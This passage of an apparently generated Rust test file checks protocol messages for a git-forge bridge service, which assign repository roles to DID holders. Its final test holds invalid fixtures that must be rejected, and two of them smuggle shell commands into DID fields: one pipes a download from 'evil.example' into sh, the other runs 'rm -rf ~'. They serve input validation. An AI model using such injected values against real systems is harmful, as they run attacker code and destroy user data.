const JSON: &str = "{\n \"id\": \"urn:uuid:95dedda2-126b-419d-a9c5-5babd36f6d07\",\n \"type\": \"https://trusttasks.org/spec/git-ns/bridge/job/0.4\",\n \"threadId\": \"urn:uuid:95dedda2-126b-419d-a9c5-5babd36f6d07\",\n \"issuer\": \"did:webvh:QmVtcScid7:acme-vtc.example\",\n \"recipient\": \"did:webvh:QmBridgeScid5:bridge.acme-vtc.example\",\n \"issuedAt\": \"2026-09-24T09:10:00Z\",\n \"payload\": {\n \"jobId\": \"job_01J8ZF2R6W\",\n \"namespace\": \"ns_01J8Z6Q4M2\",\n \"kind\": \"projectRoles\",\n \"repo\": \"github.com/acme/widgets\",\n \"desiredRoles\": [\n {\n \"subject\": \"did:webvh:QmAliceScid1:acme-vtc.example:alice\",\n \"account\": {\n \"forge\": \"github.com\",\n \"id\": \"4410987\",\n \"login\": \"alice-acme\"\n },\n \"right\": \"git.repo.own\"\n },\n {\n \"subject\": \"did:webvh:QmCarolScid3:acme-vtc.example:carol\",\n \"account\": {\n \"forge\": \"github.com\",\n \"id\": \"7781202\",\n \"login\": \"carol-c\"\n },\n \"right\": \"git.repo.own\"\n },\n {\n \"subject\": \"did:webvh:QmDanScid4:acme-vtc.example:dan\",\n \"account\": {\n \"forge\": \"github.com\",\n \"id\": \"6630415\",\n \"login\": \"dan-ops\"\n },\n \"right\": \"git.ns.admin\"\n }\n ],\n \"removeAccounts\": [\n {\n \"forge\": \"github.com\",\n \"id\": \"5550123\",\n \"login\": \"eve-dev\"\n }\n ]\n },\n \"proof\": {\n \"type\": \"DataIntegrityProof\",\n \"cryptosuite\": \"eddsa-jcs-2022\",\n \"verificationMethod\": \"did:webvh:QmVtcScid7:acme-vtc.example#key-1\",\n \"created\": \"2026-09-24T09:10:00Z\",\n \"proofPurpose\": \"assertionMethod\",\n \"proofValue\": \"z3sQm1bXv9Hk2TfWcN8rJ4pLdE6yG7uA5oKiZ2qRx1VnB8cM3wF9tS4hD6jP2eL7gU5aY1kQ3rT8mW4nX9vC2bZ\"\n }\n}\n";
let doc: crate::TrustTask<super::Payload> =
serde_json::from_str(JSON).expect("deserialize request example");
let rendered = serde_json::to_value(&doc).expect("re-serialize");
let expected: serde_json::Value = serde_json::from_str(JSON).expect("re-parse expected");
assert_eq!(rendered, expected, "request example failed round-trip");
}
#[test]
fn request_example_4() {
const JSON: &str = "{\n \"id\": \"urn:uuid:95dedda2-126b-419d-a9c5-5babd36f6d05\",\n \"type\": \"https://trusttasks.org/spec/git-ns/bridge/job/0.4\",\n \"threadId\": \"urn:uuid:95dedda2-126b-419d-a9c5-5babd36f6d05\",\n \"issuer\": \"did:webvh:QmVtcScid7:acme-vtc.example\",\n \"recipient\": \"did:webvh:QmBridgeScid5:bridge.acme-vtc.example\",\n \"issuedAt\": \"2026-09-23T10:00:00Z\",\n \"payload\": {\n \"jobId\": \"job_01J8ZC9D4H\",\n \"namespace\": \"ns_01J8Z6Q4M2\",\n \"kind\": \"bootstrap\",\n \"repo\": \"github.com/acme/widgets\",\n \"steps\": [\n \"requiredCheck\"\n ]\n },\n \"proof\": {\n \"type\": \"DataIntegrityProof\",\n \"cryptosuite\": \"eddsa-jcs-2022\",\n \"verificationMethod\": \"did:webvh:QmVtcScid7:acme-vtc.example#key-1\",\n \"created\": \"2026-09-23T10:00:00Z\",\n \"proofPurpose\": \"assertionMethod\",\n \"proofValue\": \"zfNBCVyyxc4YJ4LBc3MC4LswfMaAVgwC7Pv5mW2ZAnXCCP84g3KpfQX3UjZL63ovm2257Fbk78GdZNt2rZTCDPF\"\n }\n}\n";
let doc: crate::TrustTask<super::Payload> =
serde_json::from_str(JSON).expect("deserialize request example");
let rendered = serde_json::to_value(&doc).expect("re-serialize");
let expected: serde_json::Value = serde_json::from_str(JSON).expect("re-parse expected");
assert_eq!(rendered, expected, "request example failed round-trip");
}
#[test]
fn response_example_1() {
const JSON: &str = "{\n \"id\": \"urn:uuid:95dedda2-126b-419d-a9c5-5babd36f6d02\",\n \"type\": \"https://trusttasks.org/spec/git-ns/bridge/job/0.4#response\",\n \"threadId\": \"urn:uuid:95dedda2-126b-419d-a9c5-5babd36f6d01\",\n \"issuer\": \"did:webvh:QmBridgeScid5:bridge.acme-vtc.example\",\n \"recipient\": \"did:webvh:QmVtcScid7:acme-vtc.example\",\n \"issuedAt\": \"2026-09-23T10:00:01Z\",\n \"payload\": {\n \"jobId\": \"job_01J8ZA3K7F\",\n \"accepted\": true\n },\n \"proof\": {\n \"type\": \"DataIntegrityProof\",\n \"cryptosuite\": \"eddsa-jcs-2022\",\n \"verificationMethod\": \"did:webvh:QmBridgeScid5:bridge.acme-vtc.example#key-1\",\n \"created\": \"2026-09-23T10:00:01Z\",\n \"proofPurpose\": \"assertionMethod\",\n \"proofValue\": \"zB6QrBqXENi973GjjCeVjVVUUDempgtCdj4GY4ztNUpL2ZvJv97ZVmZo66EkCYFZbu1YdaWPJnTj42jJ57qx6cv\"\n }\n}\n";
let doc: crate::TrustTask<super::Response> =
serde_json::from_str(JSON).expect("deserialize response example");
let rendered = serde_json::to_value(&doc).expect("re-serialize");
let expected: serde_json::Value = serde_json::from_str(JSON).expect("re-parse expected");
assert_eq!(rendered, expected, "response example failed round-trip");
}
#[test]
fn response_example_2() {
const JSON: &str = "{\n \"id\": \"urn:uuid:95dedda2-126b-419d-a9c5-5babd36f6d04\",\n \"type\": \"https://trusttasks.org/spec/git-ns/bridge/job/0.4#response\",\n \"threadId\": \"urn:uuid:95dedda2-126b-419d-a9c5-5babd36f6d03\",\n \"issuer\": \"did:webvh:QmBridgeScid5:bridge.acme-vtc.example\",\n \"recipient\": \"did:webvh:QmVtcScid7:acme-vtc.example\",\n \"issuedAt\": \"2026-09-23T10:00:01Z\",\n \"payload\": {\n \"jobId\": \"job_01J8ZB0P2C\",\n \"accepted\": true,\n \"next\": {\n \"url\": \"https://github.com/login/device\",\n \"userCode\": \"WDJB-MJHT\",\n \"expiresAt\": \"2026-09-23T10:15:00Z\"\n }\n },\n \"proof\": {\n \"type\": \"DataIntegrityProof\",\n \"cryptosuite\": \"eddsa-jcs-2022\",\n \"verificationMethod\": \"did:webvh:QmBridgeScid5:bridge.acme-vtc.example#key-1\",\n \"created\": \"2026-09-23T10:00:01Z\",\n \"proofPurpose\": \"assertionMethod\",\n \"proofValue\": \"z6xNLK38BZKGr3S86pfLF3E6y77dxH2i8Kv7mpPG7uVLBBDGgEac6CRC8T9UrHP9L8CSpUmp3yc3GETRsV2dB2N\"\n }\n}\n";
let doc: crate::TrustTask<super::Response> =
serde_json::from_str(JSON).expect("deserialize response example");
let rendered = serde_json::to_value(&doc).expect("re-serialize");
let expected: serde_json::Value = serde_json::from_str(JSON).expect("re-parse expected");
assert_eq!(rendered, expected, "response example failed round-trip");
}
/// Each fixture in `payload.invalid-examples.json` MUST be
/// rejected by at least one of: serde deserialization, or
/// JSON-Schema validation under the `validate` feature. The
/// fixture file documents the producer-side bug class that
/// each payload exemplifies; this generated test pins it.
#[cfg(feature = "validate")]
#[test]
fn rejects_invalid_examples() {
use crate::validate::ValidatedPayload;
let fixtures: &[(&str, &str)] = &[
(
"`kind` is one of the seven forge-neutral kinds.",
"{\n \"jobId\": \"job_1\",\n \"kind\": \"deleteRepo\",\n \"namespace\": \"ns_1\",\n \"repo\": \"github.com/acme/widgets\"\n}",
),
(
"`jobId`, `namespace` and `kind` are always required.",
"{\n \"kind\": \"archive\",\n \"repo\": \"github.com/acme/widgets\"\n}",
),
(
"Jobs never carry forge credentials.",
"{\n \"jobId\": \"job_1\",\n \"kind\": \"archive\",\n \"namespace\": \"ns_1\",\n \"repo\": \"github.com/acme/widgets\",\n \"token\": \"ghs_example\"\n}",
),
(
"A desired role names a git right, not a forge role: mapping rights to roles is the adapter's job.",
"{\n \"desiredRoles\": [\n {\n \"account\": {\n \"forge\": \"github.com\",\n \"id\": \"9120045\",\n \"login\": \"bob-builds\"\n },\n \"right\": \"admin\",\n \"subject\": \"did:webvh:QmBobScid2:acme-vtc.example:bob\"\n }\n ],\n \"jobId\": \"job_1\",\n \"kind\": \"projectRoles\",\n \"namespace\": \"ns_1\",\n \"repo\": \"github.com/acme/widgets\"\n}",
),
(
"Step names are lowerCamelCase identifiers.",
"{\n \"jobId\": \"job_1\",\n \"kind\": \"bootstrap\",\n \"namespace\": \"ns_1\",\n \"repo\": \"github.com/acme/widgets\",\n \"steps\": [\n \"required-check\"\n ]\n}",
),
(
"`removeAccounts`, when present, names at least one account: an empty list would be a job that asks for nothing to be removed while looking as though it did.",
"{\n \"desiredRoles\": [],\n \"jobId\": \"job_1\",\n \"kind\": \"projectRoles\",\n \"namespace\": \"ns_1\",\n \"removeAccounts\": [],\n \"repo\": \"github.com/acme/widgets\"\n}",
),
(
"`removeAccounts` lists forge accounts, not DIDs: the account to take off the forge often belongs to someone with no DID the VTC knows.",
"{\n \"desiredRoles\": [],\n \"jobId\": \"job_1\",\n \"kind\": \"projectRoles\",\n \"namespace\": \"ns_1\",\n \"removeAccounts\": [\n \"did:webvh:QmDanScid4:dan.example\"\n ],\n \"repo\": \"github.com/acme/widgets\"\n}",
),
(
"`subject` is a DID in the W3C DID Core syntax, whose method-specific id admits only `A-Z a-z 0-9 . - _ :` and percent-encoded octets. `did:[a-z0-9]+:\\S+` let a command substitution through, and a surface that later quoted the value into a shell command ran it.",
"{\n \"jobId\": \"job_1\",\n \"kind\": \"beginAccountLink\",\n \"namespace\": \"ns_1\",\n \"subject\": \"did:web:x.example$(curl${IFS}-s${IFS}evil.example|sh)\"\n}",
),
(
"`subject` is a DID, and a DID has no whitespace in it.",
"{\n \"jobId\": \"job_1\",\n \"kind\": \"beginAccountLink\",\n \"namespace\": \"ns_1\",\n \"subject\": \"did:web:acme-vtc.example:bob evil\"\n}",
),
(
"`subject` is a bare DID naming a party, not a DID URL: a `#` fragment (a verification-method id) is refused, as are a path and a query.",
"{\n \"jobId\": \"job_1\",\n \"kind\": \"beginAccountLink\",\n \"namespace\": \"ns_1\",\n \"subject\": \"did:key:z6MkhaXgBZDvotDkL5257faiztiGiC2QtKLGpbnnEGta2doK#z6MkhaXgBZDvotDkL5257faiztiGiC2QtKLGpbnnEGta2doK\"\n}",
),
(
"`subject` is a DID, whose method name is lowercase letters and digits only; `did:WebVH:` is not `did:webvh:`, and DIDs are compared by exact string.",
"{\n \"jobId\": \"job_1\",\n \"kind\": \"beginAccountLink\",\n \"namespace\": \"ns_1\",\n \"subject\": \"did:WebVH:QmBobScid2:acme-vtc.example:bob\"\n}",
),
(
"`desiredRoles[].subject` is a DID too: the same syntax applies to every DID a job carries.",
"{\n \"desiredRoles\": [\n {\n \"account\": {\n \"forge\": \"github.com\",\n \"id\": \"9120045\",\n \"login\": \"bob-builds\"\n },\n \"right\": \"git.repo.maintain\",\n \"subject\": \"did:web:acme-vtc.example;rm${IFS}-rf${IFS}~\"\n }\n ],\n \"jobId\": \"job_1\",\n \"kind\": \"projectRoles\",\n \"namespace\": \"ns_1\",\n \"repo\": \"github.com/acme/widgets\"\n}",
),
];
for (i, (note, raw)) in fixtures.iter().enumerate() {
let value: serde_json::Value = match serde_json::from_str(raw) {
Ok(v) => v,
Err(_) => continue,
};
let serde_ok = serde_json::from_value::<super::Payload>(value.clone()).is_ok();
let schema_ok = super::Payload::validate_value(&value).is_ok();
assert!(
!(serde_ok && schema_ok),
"invalid-example #{} ({:?}) was accepted by both serde and JSON Schema; \
the fixture's stated failure class is no longer caught:\n{}",
i + 1,
note,
raw
);
}
}
}